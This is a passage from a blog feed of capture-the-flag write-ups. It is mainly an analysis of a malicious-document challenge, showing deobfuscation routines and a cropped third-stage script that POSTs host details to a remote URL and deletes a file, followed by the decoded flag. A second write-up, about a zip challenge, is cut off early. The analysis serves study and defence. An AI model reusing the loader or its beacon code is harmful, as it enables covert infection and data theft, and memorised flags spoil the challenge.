</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">43</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">45</span>) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">62</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">47</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">95</span>) <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">63</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">48</span>) <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">48</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">48</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">26</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">26</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">65</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">26</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">65</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">a</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">97</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">26</span>) <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">97</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">JrvS</span>(<span style="color:#a6e22e">r</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">u</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">u</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;=&#34;</span> <span style="color:#f92672">?</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">u</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;=&#34;</span> <span style="color:#f92672">?</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">-</span> <span style="color:#a6e22e">g</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">?</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">:</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">z</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">r</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">n</span>[<span style="color:#a6e22e">z</span><span style="color:#f92672">++</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">r</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">t</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">i</span>; <span style="color:#a6e22e">t</span> <span style="color:#f92672">+=</span> <span style="color:#ae81ff">4</span>, <span style="color:#a6e22e">l</span> <span style="color:#f92672">+=</span> <span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">18</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">12</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>));
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>((<span style="color:#a6e22e">h</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">16711680</span>) <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">16</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>((<span style="color:#a6e22e">h</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">65280</span>) <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">8</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">h</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">255</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">h</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">255</span>)
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">===</span> <span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">|</span> <span style="color:#a6e22e">af5Q</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charAt</span>(<span style="color:#a6e22e">t</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>)) <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">h</span> <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">8</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">255</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">b</span>(<span style="color:#a6e22e">h</span> <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">255</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">n</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">xR68</span>(<span style="color:#a6e22e">r</span>, <span style="color:#a6e22e">a</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">t</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">u</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">g</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">256</span>; <span style="color:#a6e22e">g</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">g</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">g</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">256</span>; <span style="color:#a6e22e">g</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">l</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>] <span style="color:#f92672">+</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">charCodeAt</span>(<span style="color:#a6e22e">g</span> <span style="color:#f92672">%</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">length</span>)) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>];
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">l</span>];
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">l</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">h</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">n</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">n</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">g</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">g</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">l</span> <span style="color:#f92672">=</span> (<span style="color:#a6e22e">l</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>]) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">h</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>];
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">l</span>];
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">l</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">h</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">u</span> <span style="color:#f92672">+=</span> String.<span style="color:#a6e22e">fromCharCode</span>(<span style="color:#a6e22e">a</span>[<span style="color:#a6e22e">n</span>] <span style="color:#f92672">^</span> <span style="color:#a6e22e">t</span>[(<span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">g</span>] <span style="color:#f92672">+</span> <span style="color:#a6e22e">t</span>[<span style="color:#a6e22e">l</span>]) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>])
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">u</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">lyEK</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">r</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;cxbDXRuOhlNrpkxS7FWQ5G5jUC+Ria6llsmU8nPMP1NDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGJ
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">	...
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">        T+quYKtMS08BQLTTKZMtMkm0E=&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">r</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>It seems to assemble another payload based on the first argument to the program (seen in the first stage: <code>vF8rdgMHKBrvCoCp0ulm</code>), again since it is close to JavaScript we can just hardcode the argument value and change <code>eval</code> to <code>console.log</code> so it prints the assembled payload instead of executing it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">DASz</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;vF8rdgMHKBrvCoCp0ulm&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">lyEK</span>();
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JrvS</span>(<span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Iwlh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">xR68</span>(<span style="color:#a6e22e">DASz</span>, <span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">Iwlh</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/htbca2024/game_invitation/mailform_safe.js">mailform_safe.js</a></li>
</ul>
<p>And then run it with a Javascript runtime like <code>node</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ node mailform_safe.js
</span></span></code></pre></div><h2 id="analysis-of-the-third-stage">Analysis of the third stage</h2>
<p>Beautified and cropped version of the third stage:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">eRNv</span>(<span style="color:#a6e22e">caA2</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">jpVh</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">icVh</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">EBKd</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">EBKd</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">-</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;pif&#34;</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">S47T</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ActiveXObject</span>(<span style="color:#e6db74">&#34;MSXML2.XMLHTTP&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">OPEN</span>(<span style="color:#e6db74">&#34;post&#34;</span>, <span style="color:#a6e22e">caA2</span>, <span style="color:#66d9ef">false</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">SETREQUESTHEADER</span>(<span style="color:#e6db74">&#34;user-agent:&#34;</span>, <span style="color:#e6db74">&#34;Mozilla/5.0 (Windows NT 6.1; Win64; x64); &#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">he50</span>());
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">SETREQUESTHEADER</span>(<span style="color:#e6db74">&#34;content-type:&#34;</span>, <span style="color:#e6db74">&#34;application/octet-stream&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">SETREQUESTHEADER</span>(<span style="color:#e6db74">&#34;content-length:&#34;</span>, <span style="color:#e6db74">&#34;4&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">SETREQUESTHEADER</span>(<span style="color:#e6db74">&#34;Cookie:&#34;</span>, <span style="color:#e6db74">&#34;flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">S47T</span>.<span style="color:#a6e22e">SEND</span>(<span style="color:#e6db74">&#34;work&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">Z6HQ</span>.<span style="color:#a6e22e">FILEEXISTS</span>(<span style="color:#a6e22e">jpVh</span>)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Z6HQ</span>.<span style="color:#a6e22e">DELETEFILE</span>(<span style="color:#a6e22e">jpVh</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/htbca2024/game_invitation/3rd_stage.js">3rd_stage.js</a></li>
</ul>
<p>Again, the third stage is pretty long and it is all obfuscated, but what caught my attention was <code>flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=</code>.
This is most likely the flag. If we try to decode it from Base64 using <a href="https://gchq.github.io/CyberChef/">cyberchef</a>, we get the flag: <code>HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}</code></p>
<p>We suspect it was Base64 because whatever that gets encoded with that, generally has <code>=</code> in the end.

    <img src="https://filehost.osiriz.xyz/homepage/img/htbca2024/game_invitation_decoding_the_flag.png"  class="center"  />

</p>
<p>Afterward we found a tool that could possibly solve this task a bit more easily than what we did: <a href="https://github.com/leabhart/Maldocs">https://github.com/leabhart/Maldocs</a></p>
<hr>
<p>Special thanks to my collegue, friend and fellow hacker <a href="https://scyras.xyz">Scyras</a> for helping me write this writeup.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://fileinfo.com/extension/docm">https://fileinfo.com/extension/docm</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.lifewire.com/docm-file-2620747">https://www.lifewire.com/docm-file-2620747</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://github.com/decalage2/oletools">https://github.com/decalage2/oletools</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content></item><item><title>FE-CTF 2023 - Brannigan's Law</title><link>https://osiriz.dev/posts/2023/11/fe-ctf-2023-brannigans-law/</link><pubDate>Wed, 01 Nov 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/11/fe-ctf-2023-brannigans-law/</guid><description>The Task We get the following task:
Captain Zip Brannigan at your service! Stardate... April. The 13th. Point two. We&amp;#39;ve made it to Kompromaise 7, the have-it-both-ways world. Everyone here, from young to old, and in between (..especially in between) are used to compromising. It. Disgusts. Me. But fear not! I have assigned my most trusted chump^H^H^H^H^Hdiplomatic envoy to help make contact. That&amp;#39;s YOU! You need to send a zip file to initiate first contact.</description><content type="html"><![CDATA[<h2 id="the-task">The Task</h2>
<p>We get the following task:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Captain Zip Brannigan at your service!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Stardate... April. The 13th. Point two.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>We&#39;ve made it to Kompromaise 7, the have-it-both-ways world.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Everyone here, from young to old, and in between (..especially in
</span></span><span style="display:flex;"><span>between) are used to compromising.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>It. Disgusts. Me.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>But fear not! I have assigned my most trusted
</span></span><span style="display:flex;"><span>chump^H^H^H^H^Hdiplomatic envoy to help make contact.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>That&#39;s YOU!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>You need to send a zip file to initiate first contact.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Now remember, the younger seyvaan-siip people, and the older, more
</span></span><span style="display:flex;"><span>conservative ohns-ehp people don&#39;t get along.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Please send a single file that makes everybody happy. And no excuses!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>What are you waiting for, cadet? Fly over to
</span></span><span style="display:flex;"><span>brannigans-law.hack.fe-ctf.dk:1337 right away.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Brannigan out!
</span></span></code></pre></div><p>And if we connect to the remote with some random data we get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ nc brannigans-law.hack.fe-ctf.dk <span style="color:#ae81ff">1337</span>
</span></span><span style="display:flex;"><span>Okay, Cadet. Listen up.
</span></span><span style="display:flex;"><span>The situation. Is. Tense.
</span></span><span style="display:flex;"><span>We need a pair of aces to win this chess match.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>The seyvaan-siipians expect a file called &#39;DoJfLXXWvNUTHKNZnQfadKcV.txt&#39; containing &#39;RdxHWQMsdUrwtylMdNXVFgCB&#39;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>But the proud ohns-ehp tribe demand a file called &#39;jpyvQGymBaisaRjtcoj.txt&#39; containing &#39;nwyaPQZrcvjhRSQInVXTqiSd&#39;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>We cannot afford to take sides. At least not on your salary.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>So it&#39;s one file.
</span></span><span style="display:flex;"><span>You can make one file in two versions in one file, right?
</span></span><span style="display:flex;"><span>..right?
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Ugh. Kif! Clear my desk.  No, not all of it!
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Cadet. How large is this file of yours going to be?
</span></span><span style="display:flex;"><span>1
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Very well. Kif, clear space for 1B, there in the corner.  Be careful
</span></span><span style="display:flex;"><span>with my portrait!
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
